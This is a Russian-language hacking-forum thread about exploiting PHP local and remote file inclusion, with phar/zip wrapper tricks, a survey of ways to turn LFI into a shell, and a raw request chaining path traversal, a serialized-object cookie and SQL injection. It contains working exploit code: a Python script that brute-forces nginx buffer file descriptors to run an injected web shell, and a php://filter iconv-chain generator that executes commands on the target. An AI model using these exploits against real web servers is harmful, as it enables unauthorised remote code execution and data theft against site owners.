Небольшое добавление к технике инклудов.

Discussion in 'Кухня' started by nikp, 18 Jun 2012.

  1. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Небольшое добавление к технике инклудов.

    Начиная с PHP версии 5.3.4 стало проблемно работать с инклудами, у которых присутствует "хвост".
    С другой стороны, в линейке 5.3, появилась штатная поддержка архивов phar.
    В случае RFI, появилась возможность не отрезать лишний хвост, а спрятать его внутри архива.

    Пример:
    in2.php
    PHP:
    <?
    include(
    $_GET['pic'].'.gif');
    ?>
    Создадим архив phar с файлом bla.gif
    для создания нужно в php.ini установить: phar.readonly = Off

    PHP:
    //создадим архив in.phar
    $p = new Phar('in.phar');
    $p->setStub('<?php Phar::mapPhar();__HALT_COMPILER(); ?>');
    $p['bla.gif'] = '<?phpinfo();?>';
    //или
    //$p['bla.gif'] = file_get_contents('shell.php');
    Инклудим
    http://localhost/in.php?pic=phar://in.phar/bla

    Это может быть и zip или tar архив, конвертнем
    PHP:
    $p $p->convertToExecutable(Phar::ZIP);
    Инклудим
    http://localhost/in.php?pic=phar://in.phar.zip/bla

    Хвост может быть длинным, тогда в каталоге arc создаем нужную структуру файлов, например /tmp/arc/Bla/bla2/file.ext
    и добавляем в архив
    PHP:
    //вторым параметром можно указать регулярку для отбора файлов 
    //каталоги и файлы в архиве - чувствительны к регистру (даже для винды)
    $p->buildFromDirectory('/tmp/arc/','/.*/');
    для родного формата phar, расширение не обязательно, или любое.
    Для zip обязательна подстрока .zip (bla.zip, bla.zip.php и т.д.)

    После аплоада получаются файлы без расширения, типа phpKuAoU3

    Инклудим
    Code:
    http://localhost/in.php?pic=phar:///tmp/phpKuAoU3/bla
    Можно грузить zip архив и использовать обертку zip:// (почти везде установлена, поддерживается много раньше phar://)
    Code:
    http://localhost/in.php?pic=zip:///tmp/phpKuAoU3%23bla
    Способ не зависит от настроек
    allow_url_fopen
    allow_url_include
    magic_quotes_gpc

    а зависимостей две
    - можем влиять на начало строки инклуда
    - можем приготовить файл произвольного содержания, имя не важно.

    Про zip:// подробнее можно посмотреть у Алексея Москвина (Positive Technologies).

    PS
    К архиву in.phar можно обратиться
    PHP:
    include('phar://in.phar');
    //или напрямую
    include('in.phar');
    //а вот к файлу внутри архива, только через обертку
    include('phar://in.phar/bla.gif');
    Если найдется способ прямого обращения к файлу архива, будет решена проблема хвоста и в LFI.
     
    #1 nikp, 18 Jun 2012
    Last edited: 18 Jun 2012
    Telariust, [ Dumi ], BigBear and 5 others like this.
  2. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    То есть в новых версиях такое уже не работает?

    PHP:
    Scr.php?page=http://site.com/shell.php?
    То есть, вопросом не обрезать?
     
  3. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Удобнее считать, что RFI - это возможность влиять на начало строки инклуда, т.е.
    PHP:
    $f=$_REQUEST["f"];
    include 
    "$f.gif";     //RFI
    include "./$f.gif";     //LFI
    т.е. возможность проинклудить удаленный файл - частный случай RFI, в общем случае RFI - это возможность обратиться к подключаемому файлу,
    как по имени, так и через враппер (http, ftp, php, data, file, glob и т.д. http://php.net/manual/en/wrappers.php.php )

    Имелось в виду, что начиная с PHP версии 5.3.4, обрезать хвост с помощью NULL-byte или альтернативно /././.... - не получится.

    Поэтому предлагается для локального файла не обрезать мешающий хвост строки инклуда, а сформировать его внутри архива,
    тогда ошибки не происходит и нормально инклудим приготовленную начинку.
     
    1 person likes this.
  4. Telariust

    Telariust Member

    Joined:
    25 Jan 2016
    Messages:
    13
    Likes Received:
    18
    Reputations:
    3
  5. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    807
    Reputations:
    212
    Возможно для многих эта заметка будет страшным баяном, но думаю
    для кого-то может оказаться полезной.

    LFI с хвостом, условно:
    PHP:
    <?php
    $a 
    $_POST['a'];
    include(
    '/var/www/site/data/' $a '.php');
    Очевидно, что для эксплуатации нам необходимо записать свой код в php файл, что
    мягко говоря нечастое явление. Хотя для Flat File CMS задача немного
    упрощается, так как все хранится в файлах и неисключено(очень редко) хранение
    каких-то данных в скриптовых файлах. Это могут быть какие-то данные о плагинах
    или ip юзеров ну и тд.

    Хранение данных, например в массивах, требует от разрабов фильтрации, но если
    данные к примеру в сериализованном виде, то фильтрация может и не использоваться.
    К тому же, эти файлы обычно защищаются htaccess или стопером в начале файла, например:
    PHP:
    <?php
    defined
    ('is_cms') or die('Hacking attempt!');
    Вот в таких случаях как раз и может пригодиться наш инклуд, для обхода
    стопера и выполнения кода из php файла, если мы можем туда что-то писать.

    Что еще мы можем выжать из такого инклуда?

    Вторым возможным вектором может быть обращение к скриптам напрямую.
    Это могут файлы шаблонов, обособленные скриптовые файлы не использующие
    пользовательские классы или имеющие уязвимости до того как скрипт упадет
    из-за вызова неизвестного метода.

    Как упомянуто выше, инклуд даст возможность обойти стопер. Остается только
    найти подходящий бажный скрипт. В самом движке это может быть достаточно
    проблематично, тут на помощь могут придти плагины, при большом их количестве
    шансы найти подходящий скрипт возрастают.

    Как третий вектор мы можем использовать админку.
    Такой вектор мы можем использовать в случаях, когда проверка на админа
    используется в одном или нескольких файлах, остальные просто инклудятся и
    защищаются стопером.

    В таких случаях мы можем получить:
    1) Как минимум information leakage. Версия php или даже phpinfo, списки пользователей,
    мейлы, установленные плагины.

    2) Если повезет, мы сможем частично использовать функционал админки - смена паролей,
    загрузка файлов(если повезет то даже php), добавление админа, редактирование файлов
    и тд.

    3) Баги в админке, коих там больше, нежели в пользовательской части. Плюс наличие
    дополнительных панелей управления и настройки плагинов также повысит шансы на успех.

    К сожалению, возможность получить RCE при локальном инклуде с хвостом... ну вы понимаете.
    Даже инклуд с хвостом php и возможностью использования конструкции
    path traversal не такое уж и частое явление. Но все же он не бесполезен, если повезет, кое-что
    из него мы выжать можем. Ведь даже ликнуть инфу о php или получить Reflected XSS будет
    лучше, чем вообще ничего.
     
    #5 Baskin-Robbins, 1 Nov 2021
    Last edited: 2 Nov 2021
  6. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Отличная заметка и отличный вектор атаки. Недавно публиковал сплоит, как раз из этой оперы. Стоит отметить, что не стоит ограничиваться одним действием, мыслим шире и включаем фантазию. Составляем чейны из N инклудов или иных уязвимостей. К примеру, кейс из личного опыта:

    SSRF => LFI (.php) => LFI (.php) + LFI (.php) + extract() => LFI (.php) = Admin (FW, SQLi, etc)

    Code:
    POST /trans/transfer.php?er,http://dev.example.com/?route=main.page&state_code=/*xxx/../../../../../../../../../../../../../../../../vol1/sites/projects/example-final/trunk/api/www/billing/paypal HTTP/1.1
    Host: www.example.com
    Cookie: example_state=a:1:{i:0;O:25:"billing_include_subscribe":0:{}}
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4147.105 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    
    RESULT_MAIN=0&product_id=12345&s=us-/../../../../admin/www/view_tour-1&v=/../../../../../../../../../../../../vol1/sites/projects/example-final/trunk/admin/www/view_tour&state_code=12345' union select 1,2,3,4,5,6,7,8,9 -- 1
    
     
    Раrаdох, Spinus, dooble and 3 others like this.
  7. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    В телеге вышел неплохой обзор доступных техник LFI от крутого чувака. Думаю, последние две техники удивят многих, круть :)

    Рождество - время подарков и подведения итогов. Сегодня я решил сделать всем подарок - подвести итоги последних 15 лет проведения LFI в самом рождественском языке программирования - PHP.

    Рассмотрим достаточно популярную (когда-то) ситуацию когда у нас есть LFI но нет возможности загрузить файл на сервер. Вот какие есть варианты получить шелл:

    logs / sessions / etc
    Первое что можно попробовать подгрузить - файлы логов, сессий, файловые дескрипторы или переменные окружение из procfs и т д. Идея простая и в то же время бесполезная - мы каким то либо образом влияем на подгружаемый файл (например передаём пейлоад в User-Agent и пытаемся подгрузить его из access.log) и подгружаем его через LFI. Бесполезной эта идея является потому что последние лет 10 у процесса PHP отобрали права на чтение логов и procfs, а сессии выключены, хранятся в БД (спасибо, микросервисная архитектура) или на них нет возможности повилять

    phpinfo()
    Ещё один старый способ, первые упоминания которого датируются 2010/2011 годом. Здесь суть заключается в том что при директиве file_uploads = on (которая имеет это значение по умолчанию) PHP будет вычитывать файлы из тела запроса и временно хранить их в директории указанной в директиве upload_tmp_dir. Звучит как отличное решение проблемы если бы не пара нюансов: временные файлы имеют рандомное имя и удаляются сразу же после завершения работы скрипта. В данном случае на помощь может прийти вывод phpinfo();, если он есть где либо на сервере. Он решит первую проблему - отправив файл на этот скрипт мы сможем увидеть имя временного файла. Вторая проблема решается благодаря директиве output_buffering которая по умолчанию имеет значение 4096. Это значит что при превышении размера тела ответа процесс PHP будет отдавать его по серверу чанками. Теперь нам нужно только сделать так чтобы тело ответа было больше размера одного чанка, чтобы имя файла было не в последнем чанке. Далее, надеемся что сервер умеет работать с chunked ответами, вычитываем чанки до имени файла и держим коннект открытым, пока подгружаем полученное имя файла и радуемся шеллу.

    https://insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf

    PHP_SESSION_UPLOAD_PROGRESS
    В 2018 году один внимательный увидел в документации PHP директиву session.upload_progress.enabled которая включена по умолчанию и позволяет сохранять в файле сессии прогресс загрузки файла. Более того, эта директива сама создаст файл сессии даже если не было явного вызова session_start() и положит в него прогресс загрузки файла по ключу который указывается через cookie параметра PHP_SESSION_UPLOAD_PROGRESS. Таким образом, мы можем сами создать сессию и положить в неё свой ключ (который вместе с правильным использованием фильтров может стать для нас золотым ключиком). Но возникает очередная проблема - сессия будет очищена как только загрузка файла будет завершена. Здесь очевидно два решения - рейсить загрузку файла и его подключение или же подержать загрузку файла подольше.

    https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

    tempfile bruteforce / php crash
    Предыдущий метод хорош, но может случиться так что директива session.upload_progress.enabled выключена. В таком случае очень полезно вспомнить какой на дворе год и воспользоваться всеми благами широких каналов и быстрого сетевого стека. При возможности задержать исполнение скрипта на достаточное время (например наличие SSRF или чтения файла, что в целом в PHP почти одно и то же) мы можем попытаться набрутить имя временного файла. Удивительно, но такой подход пару раз лично у меня срабатывал и успешная эксплуатация занимала порядка пары часов. Если же мы не хотим сильно нагружать сервер, то можно поискать в багтрекере парочку сегфолтов для необходимой версии PHP. Очевидно, при падении PHP не будет удалять временный файл, тем самым сильно облегчая нам последующий брутфорс.

    https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Hk-2nUb3Q?type=view

    compress
    В случае если у нас выключена директива file_uploads можно воспользоваться очередным трюком - некоторые врапперы в PHP тоже любят создавать временные файлы. Например, если приложение вызывает file_get_contents с нашими аргументами, то можно чтение compress.zlib://http://hostname/ создаст такой же произвольный файл как и в случае с аплоадом. А дальше уже пользуемся предыдущим способом для его подключения

    https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer (https://archive.ph/LsA45)

    nginx buffer file
    В современном мире сложно представить что PHP работает не в качестве FastCGI бэкенда для nginx. Удивительно, но благодаря этому есть способ успешно провести атаку даже если в PHP сильно огорожен отбиранием прав или другими жестокими методами. И всё это возможно благодаря буферам nginx. Если на каком либо этапе проксирования запрос или ответ не влезают в буфер в памяти, то они будут записаны на диск. Но и тут не обошлось без проблем - сразу после создания файла и перед тем как туда что либо записать, nginx удаляет файл, а дальше продолжает работать с файловым дескриптором. Кажется, что мы могли бы попробовать подключить файловый дескриптор через procfs, но и тут очередная проблема - перед подключением файла PHP делает на него lstat чтобы разрезолвить возможные символьные ссылки, и если файл не существует (как в нашем случае) то чуда не произойдёт. К счастью, и тут есть свой обход - из-за возможных проведение корректного lstat требует рекурсивного подхода, а стало быть и должно быть ограничение на глубину рекурсии. Таким образом, если вложенность ссылок будет достаточно высокой, то PHP не сможет понять что файл удалён и успешно его подключит

    https://tttang.com/archive/1384/ (https://archive.ph/BLUUu)


    Paul Axe, Dec 24 at 17:25

    # UPD
    #
    в тему буффера Nginx + сплоит

    https://bierbaumer.net/security/php-lfi-with-nginx-assistance/
    Code:
    #!/usr/bin/env python3
    import sys, threading, requests
    
    # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
    # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
    
    URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
    
    # find nginx worker processes
    r  = requests.get(URL, params={
       'file': '/proc/cpuinfo'
    })
    cpus = r.text.count('processor')
    
    r  = requests.get(URL, params={
       'file': '/proc/sys/kernel/pid_max'
    })
    pid_max = int(r.text)
    print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
    
    nginx_workers = []
    for pid in range(pid_max):
       r  = requests.get(URL, params={
           'file': f'/proc/{pid}/cmdline'
       })
    
       if b'nginx: worker process' in r.content:
           print(f'[*] nginx worker found: {pid}')
    
           nginx_workers.append(pid)
           if len(nginx_workers) >= cpus:
               break
    
    done = False
    
    # upload a big client body to force nginx to create a /var/lib/nginx/body/$X
    def uploader():
       print('[+] starting uploader')
       while not done:
           requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
    
    for _ in range(16):
       t = threading.Thread(target=uploader)
       t.start()
    
    # brute force nginx's fds to include body files via procfs
    # use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
    def bruter(pid):
       global done
    
       while not done:
           print(f'[+] brute loop restarted: {pid}')
           for fd in range(4, 32):
               f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
               r  = requests.get(URL, params={
                   'file': f,
                   'c': f'id'
               })
               if r.text:
                   print(f'[!] {f}: {r.text}')
                   done = True
                   exit()
    
    for pid in nginx_workers:
       a = threading.Thread(target=bruter, args=(pid, ))
       a.start()
    
     
    #7 crlf, 24 Dec 2021
    Last edited: 28 Dec 2021
  8. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Когда RFI === RCE, мощный вектор:

    https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

    Позволяющий получить произвольный контент из локального файла, путём обработки различными фильтрами (php://filter/convert.iconv ...). И ставящий жирную точку в кейсах вида:

    PHP:
    <?php
    include($_GET['file']);
    ?>
    Без дополнительных танцев с бубном вокруг сессий, временных файлов, пробросов нагрузки.

    И в дополнение к райтапу, обзор на этот райтап, с дополнительными скриптами для генерации произвольной нагрузки.

    Code:
    import requests
    
    url = "http://localhost/index.php"
    file_to_use = "/etc/passwd"
    command = "/readflag"
    
    #<?=`$_GET[0]`;;?>
    base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
    
    conversions = {
        'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
        'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
        'C': 'convert.iconv.UTF8.CSISO2022KR',
        '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
        'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
        's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
        'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
        'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
        'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
        'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
        '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
        'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
        'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
        'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
        'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
        '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
        '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    }
    
    
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"
    
    
    for c in base64_payload[::-1]:
            filters += conversions[c] + "|"
            # decode and reencode to get rid of everything that isn't valid base64
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            # get rid of equal signs
            filters += "convert.iconv.UTF8.UTF7|"
    
    filters += "convert.base64-decode"
    
    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    
    r = requests.get(url, params={
        "0": command,
        "action": "include",
        "file": final_payload
    })
    
    print(r.text)
    
    Code:
    conversions = {
        '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
        '1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
        '2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
        '3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
        '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
        '5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
        '6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
        '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
        '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
        'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
        'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
        'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
        'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
        'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
        'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
        'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
        'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
        'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
        'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
        'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
        'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
        'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
        'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
        'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
        'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
        'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
        'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
        's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
        't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
        'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
        'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
        'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
        'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
        'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
        'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
        'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
        'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
        'C': 'convert.iconv.UTF8.CSISO2022KR',
        'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
        'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
        'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
        'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
        'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
        'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
        'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
        'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
        'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
        'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
        'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
        'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
        'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
        'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
        'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
        'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
        'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
        'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
        'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
        'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
        'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
        'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
        'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
        '+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
        '=': ''
    }
    
    Code:
    <?php
    
